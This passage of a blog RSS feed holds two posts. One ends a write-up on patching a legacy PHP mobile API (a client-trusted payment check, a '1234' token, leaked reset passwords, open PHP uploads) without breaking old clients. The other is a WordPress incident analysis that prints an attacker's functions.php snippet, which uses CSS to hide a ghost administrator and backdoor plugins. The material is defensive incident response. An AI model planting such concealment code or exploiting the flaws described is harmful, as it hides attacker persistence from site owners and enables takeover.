&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h2&gt;What I was handed&lt;/h2&gt;
&lt;p&gt;Two systems wearing one trench coat. A CodeIgniter 3 app exposed the mobile API through a single fat controller. Next to it sat an &quot;admin panel&quot; that was really a pile of plain PHP scripts talking straight to MySQL. Authentication was a non-expiring code stored in the database. Password resets went out through bare &lt;code&gt;mail()&lt;/code&gt;. Uploads landed directly on the filesystem.&lt;/p&gt;
&lt;p&gt;It worked. It also felt like an MVP that sprinted past the prototype stage and never looked back.&lt;/p&gt;
&lt;h2&gt;The flaws, worst first&lt;/h2&gt;
&lt;p&gt;I found nine issues. The pattern underneath most of them is the same: the server trusts the client.&lt;/p&gt;
&lt;p&gt;The payment check was the clearest example. The API let the app &lt;em&gt;tell it&lt;/em&gt; whether the user had paid. Flip a boolean on the device and you unlock everything for free. The server never verified anything.&lt;/p&gt;
&lt;p&gt;Auth was no better. One endpoint accepted the literal string &lt;code&gt;1234&lt;/code&gt; as a valid token and waved the request through. The admin login only checked the password in client-side JavaScript, so the actual server endpoints sat wide open behind a cosmetic gate. Several route-management endpoints checked for no token at all, which meant anyone could delete data.&lt;/p&gt;
&lt;p&gt;Then the one that made me wince. The forgot-password endpoint generated a new plaintext password, stored its MD5 hash, emailed the plaintext to the user, and also returned that plaintext straight back in the JSON response. Trigger a reset for any account and the new password lands in your hands. Account takeover by design.&lt;/p&gt;
&lt;p&gt;Rounding out the list: an unauthenticated file upload that happily accepted PHP, database credentials hardcoded in the source, MD5 password hashing, and an admin panel that built SQL by gluing raw strings together.&lt;/p&gt;
&lt;h2&gt;Why the frozen contract is the real enemy&lt;/h2&gt;
&lt;p&gt;Any one of these has a textbook fix. The textbook does not account for thousands of installed apps that will never see an update.&lt;/p&gt;
&lt;p&gt;Remove the leaked password field from the reset response and old apps that read that field to show the user their new password will break. Expire tokens and clients that assume tokens live forever get stuck in a logout loop with no idea how to refresh. Tighten upload validation and avatars silently stop saving. Change a 200 to a 201 on success and a legacy parser might treat it as failure.&lt;/p&gt;
&lt;p&gt;So the rule wrote itself. Keep every key, every type, every status code. Fix the behavior behind them, never the shape in front of them. When I had to kill the leaked password, I kept the JSON key and filled it with harmless placeholder text so old parsers stayed happy.&lt;/p&gt;
&lt;h2&gt;Patching without pulling the pin&lt;/h2&gt;
&lt;p&gt;The technique that made this survivable was shadow mode.&lt;/p&gt;
&lt;p&gt;When I added a real server-side payment check, it did not block anyone at first. It ran, compared its verdict against what the system did today, and logged the difference. Only once the logs showed it matching legitimate users did I let it start enforcing. Same idea for any new validation: watch it be right before you let it be in charge.&lt;/p&gt;
&lt;p&gt;Shadow mode ran for eleven days before enforcement. In that window, the payment check logged 2,847 API calls. Of those, 2,609 matched the expected legitimate pattern — users the system would have passed anyway. The remaining 238 were anomalous: missing payment fields, manipulated totals, or device-side flags contradicting server state. That 8.4% anomaly rate was high enough to justify enforcement immediately, but the eleven-day window meant I had a full distribution of legitimate behaviour to compare against, not just a guess at what normal looked like.&lt;/p&gt;
&lt;p&gt;Passwords migrated by dual-writing. The login path accepts both old MD5 hashes and new bcrypt ones, and quietly rehashes to bcrypt on a successful MD5 match. No mass reset, no lockout, just a slow drift to the better scheme as people log in.&lt;/p&gt;
&lt;p&gt;Every new rule sat behind a feature flag, a plain toggle I could flip back to &lt;code&gt;false&lt;/code&gt; the instant something started crashing. That turned a scary deploy into a reversible one. No full rollback, no redeploy, just an off switch.&lt;/p&gt;
&lt;h2&gt;The order that kept the bleeding stopped&lt;/h2&gt;
&lt;p&gt;Sequencing mattered as much as the fixes:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Logging first.&lt;/strong&gt; I wanted to see who was still sending &lt;code&gt;1234&lt;/code&gt; before I touched a line of logic.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Lock the open upload.&lt;/strong&gt; A public endpoint accepting PHP is an active takeover risk, so extensions and size limits went on immediately.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Fix admin auth.&lt;/strong&gt; The mobile apps never touch the admin panel, which made a real PHP session check a safe, backend-only change.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Add an auth compatibility layer.&lt;/strong&gt; Unauthenticated endpoints started checking tokens but returned the exact same error JSON the other endpoints already used.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rate limits&lt;/strong&gt; on login and reset to blunt brute force and spam.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Payment verification in shadow mode&lt;/strong&gt;, then enforced.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Gradual hash migration&lt;/strong&gt; through dual-writes.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rotate the hardcoded secrets last&lt;/strong&gt;, once deploys and rollbacks were boring.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Notice that payment verification, the headline flaw, comes sixth. The open upload could hand someone the whole server in an afternoon. Severity is about blast radius, not how embarrassing the bug reads.&lt;/p&gt;
&lt;h2&gt;What I would tell the next person who inherits this&lt;/h2&gt;
&lt;p&gt;Do not rewrite it. A clean rebuild is exactly how you break the legacy clients and lock out the users you were hired to protect. The API contract is frozen, so treat it like load-bearing concrete. Stop the bleeding, secure the behavior behind the responses, and let shadow mode and feature flags carry the risk while old apps keep talking to you in the only dialect they know.&lt;/p&gt;
&lt;p&gt;You cannot fix a system like this by being bold. You fix it by being quiet.&lt;/p&gt;
</content:encoded></item><item><title>Dissecting a WordPress Hack: Ghost Admins and CSS</title><link>https://saf1.me/blog/wordpress-css-rootkit/</link><guid isPermaLink="true">https://saf1.me/blog/wordpress-css-rootkit/</guid><description>We debugged a WordPress slot spam infection and found attackers hiding rogue admin accounts and backdoor plugins using a simple CSS override in functions.php.</description><pubDate>Thu, 02 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We spent three hours last Tuesday pulling apart a compromised e-commerce site. The symptom was glaring. The frontend of the store was plastered with Indonesian gambling posts pushing &quot;Demo Slot Tema Asia&quot; and &quot;Slot Deposit 5000&quot;. By the time we were called in, the attacker had injected 847 spam posts over roughly six weeks, with one ghost administrator account sitting undetected and active for 41 days.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;We assumed the usual entry point: a vulnerable plugin allowing unauthenticated post creation. We purged the database of the SEO spam easily enough. The real problem was finding out how the attacker was maintaining access.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Takeaways&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Application UIs are unreliable during incident response; always verify user privileges and counts directly against &lt;code&gt;wp_users&lt;/code&gt; and &lt;code&gt;wp_usermeta&lt;/code&gt; database tables.&lt;/li&gt;
&lt;li&gt;Attackers frequently use native theme files to inject CSS payloads, hiding security warnings and backdoor plugins via DOM manipulation.&lt;/li&gt;
&lt;li&gt;Relying entirely on standard security plugins is insufficient if an attacker gains enough privilege to apply &lt;code&gt;display: none&lt;/code&gt; to the plugin&apos;s own dashboard interface.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h2&gt;The discrepancy: ghost admins in the UI&lt;/h2&gt;
&lt;p&gt;I checked the WordPress users list to audit administrator accounts. The UI showed an immediate discrepancy. The aggregate count at the top of the table clearly registers &quot;Administrator (3)&quot;, but the data table only renders two rows.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;A standard visual inspection misses this entirely. One administrator account was invisible to the site owner.&lt;/p&gt;
&lt;h3&gt;Bypassing visual audits&lt;/h3&gt;
&lt;p&gt;Attackers usually build persistence by dropping obfuscated PHP shells in the &lt;code&gt;uploads&lt;/code&gt; directory or burying base64-encoded strings deep in database transients. This attacker took a simpler, lazier route. They altered the presentation layer to blind the site admins.&lt;/p&gt;
&lt;h2&gt;The persistence layer: a CSS injection in functions.php&lt;/h2&gt;
&lt;p&gt;By checking the active theme files, we found a crude injection appended to the end of &lt;code&gt;wp-content/themes/botiga/functions.php&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;The attacker hooked into &lt;code&gt;admin_head&lt;/code&gt; to echo a raw &lt;code&gt;&amp;lt;style&amp;gt;&lt;/code&gt; block directly into the WordPress admin dashboard.&lt;/p&gt;
&lt;h3&gt;Analyzing the attack code&lt;/h3&gt;
&lt;p&gt;Here is the payload we extracted:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;add_action(&apos;admin_head&apos;, &apos;my_custom_css_do&apos;);
function my_custom_css_do() {
echo &apos;&amp;lt;style&amp;gt;
#wpadminbar #wp-admin-bar-hide-notifications {display:none;}
#adminmenu li#menu-users li:nth-of-type(5) {display:none;}
#adminmenu li#toplevel_page_itsec-dashboard {display:none;}
.plugins-php .plugins tr[data-slug=&quot;temporary-login-without-password&quot;]{ display:none; }
.users-php .users tr[id=&quot;user-1087&quot;]{ display:none; }
#adminmenu li#toplevel_page_manage_notices_settings {display:none;}
.plugins-php .plugins tr[data-slug=&quot;wp-hide-backed-notices&quot;]{ display:none; }
&amp;lt;/style&amp;gt;&apos;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The mechanism relies entirely on CSS &lt;code&gt;display: none&lt;/code&gt; to hide UI elements. Line by line:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;It targets specific DOM nodes to suppress warning notifications, hide the iThemes Security dashboard menu item, and cloak two specific backdoor plugins: &quot;Temporary Login Without Password&quot; and &quot;WP Hide Backend Notices&quot;.&lt;/p&gt;
&lt;p&gt;The last rule mattered most. &lt;code&gt;.users-php .users tr[id=&quot;user-1087&quot;]&lt;/code&gt; removes a specific user row from the admin panel view. Once we bypassed the UI and queried the database directly for ID 1087, we found our ghost administrator: an account named &quot;AmranVai&quot;.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Tradeoffs of the DOM-level rootkit&lt;/h2&gt;
&lt;p&gt;Every technical choice has tradeoffs, even for attackers. This method is cheap to implement. It requires no complex PHP logic and quietly bypasses basic security audits performed by non-technical store owners who only look at dashboards. But it breaks easily. Because the payload lives strictly in the active theme&apos;s &lt;code&gt;functions.php&lt;/code&gt; file, a simple theme update or a switch to a default theme instantly strips the persistence mechanism and exposes the rogue user. It also leaves an obvious footprint in version control.&lt;/p&gt;
&lt;p&gt;The full cleanup took four hours: roughly an hour to understand the scope and audit the database tables directly, forty minutes to identify and strip the persistence mechanism from &lt;code&gt;functions.php&lt;/code&gt;, another hour to purge the 847 spam posts and reset compromised credentials, and forty minutes of post-remediation verification. No store downtime — we worked on a staging clone and pushed the cleaned files in a single deploy.&lt;/p&gt;
&lt;p&gt;You cannot trust the application UI when auditing a compromised system. If the environment is breached, the DOM is just another vector for obfuscation. Audit the raw database tables.&lt;/p&gt;
</content:encoded></item></channel></rss>